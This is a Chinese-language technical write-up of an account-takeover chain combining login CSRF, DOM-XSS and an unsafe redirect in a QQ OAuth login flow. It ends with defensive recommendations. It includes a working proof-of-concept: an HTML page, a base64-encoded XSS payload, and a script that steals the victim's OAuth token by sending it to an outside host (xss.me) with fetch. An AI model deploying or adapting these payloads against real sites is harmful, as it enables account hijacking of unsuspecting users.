组合漏洞导致的账号劫持
字数 1592 2025-08-27 12:33:31
组合漏洞导致的账号劫持技术分析
漏洞概述
本文详细分析了一种通过组合多个漏洞(Login CSRF + DOM-XSS + unsafe URL redirect)实现账号劫持(Account Takeover, ATO)的攻击技术。攻击者利用这些漏洞的连锁反应,能够窃取用户的OAuth token并最终控制受害者的账号。
漏洞背景
目标站点A允许使用QQ账号进行OAuth登录。虽然QQ已经对redirect_uri参数做了强校验,防止了直接的OAuth登录劫持,但攻击者通过深入分析登录流程,发现了其他可利用的漏洞链。
登录流程分析
-
初始登录流程:
- 用户访问A.com的QQ登录链接
- 重定向到QQ的OAuth页面(
qq.com) - 登录成功后,QQ将用户重定向到
B.com(中间站点) - B.com再通过
s_url参数将用户重定向回A.com
-
关键参数:
redirect_uri: 指向B.com的URL(QQ已做严格校验)s_url: 从B.com跳转回A.com的URL(包含token)
漏洞利用链
1. Unsafe URL Redirect漏洞
发现过程:
- 攻击者发现可以修改
s_url参数,在URL末尾附加特定字符:%3f=> ?%20=> 空格%23=> #
利用方法:
- 使用
#符号:浏览器会将#后的内容视为锚点,不会发送到服务器 - 构造如
A.com/Login#token=xxx的URL - 服务器无法识别
#后的内容,认证失败,停留在登录页面 - token保留在URL中,可被后续利用
2. DOM-XSS漏洞
发现过程:
- 在目标站点发现一个存在漏洞的JavaScript函数
renderFrame:renderFrame: function(url, param, path, hash, isOld) { var that = this; hash && (url += isOld ? "/" + hash : "#" + hash), param && param._hash && (url += param._hash), url += window.location.search, path = path.replace(/(\/?console\/?)/, ""), path = path.replace(/\/\*/, ""); var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'), ... }
利用方法:
- 构造恶意URL触发XSS:
https://A.com/xxx/"/onload= eval(atob("d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn"))// - 解码后的payload:
with(document)body.appendChild(createElement('script')).src='https://xss.me/1.js'
3. Login CSRF漏洞
发现过程:
- 发现登录请求不检查Referer
- 任何携带有效token的请求都能登录成功
利用方法:
- 攻击者先获取自己的token
- 诱导受害者使用攻击者的token登录
- 结合XSS窃取受害者的token
完整攻击流程
-
准备阶段:
- 攻击者登录自己的账号获取token
- 准备恶意页面
evil.html
-
诱导受害者:
- 受害者访问
evil.html - 页面使用攻击者的token自动登录
- 登录成功后跳转到XSS页面
- 受害者访问
-
窃取token:
- XSS页面打开QQ OAuth登录窗口
- 受害者使用自己的QQ账号登录
- 登录流程完成后,页面跳转到
A.com/Login#token=xxx - XSS脚本获取URL中的token并发送到攻击者服务器
-
账号劫持:
- 攻击者获取受害者的token
- 使用该token登录受害者账号
技术难点与绕过
-
iframe防护绕过:
- B.com有代码防止iframe加载:
if(top != self) { top.location.href = s_url; } else { top.location.replace(s_url); } - 使用
window.open()代替iframe绕过此防护
- B.com有代码防止iframe加载:
-
时间控制:
- 使用
setTimeout确保各步骤按顺序执行 - 给予足够时间让登录流程完成
- 使用
POC代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login CSRF</title>
</head>
<body>
<!-- 首先创建一个iframe用我的token登陆 -->
<iframe src="https://A.com/Index/Login?token={My_token}"
sandbox="allow-popups allow-scripts allow-same-origin"
width="500px" height="500px"></iframe>
<script>
// 登陆成功后,跳转到XSS地址
function redirect2xss() {
window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//";
}
setTimeout(redirect2xss, 6000);
</script>
</body>
</html>
1.js:
document.body.onload = function() {
// 打开OAuth登陆界面
myWindow = window.open(
'https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa',
'',
'width=600,height=600'
);
setTimeout(function() {
// 获取token
data = myWindow.document.location.href;
fetch("//xss.me/?data=" + escape(data));
}, 9000);
};
防御措施
-
针对Unsafe URL Redirect:
- 严格校验重定向URL
- 禁止在重定向URL中使用特殊字符
- 使用白名单限制可重定向的域名
-
针对DOM-XSS:
- 对动态拼接的HTML内容进行转义
- 使用安全的DOM操作方法
- 实施严格的CSP策略
-
针对Login CSRF:
- 检查Referer头
- 使用CSRF token
- 限制token的一次性使用
-
其他防护:
- 实施SameSite cookie属性
- 对敏感操作要求二次认证
- 监控异常的登录行为
总结
这个案例展示了如何通过组合多个看似不严重的漏洞实现严重的账号劫持攻击。在安全防护中,不仅要关注单个漏洞的修复,还需要考虑漏洞之间的组合可能性,实施纵深防御策略。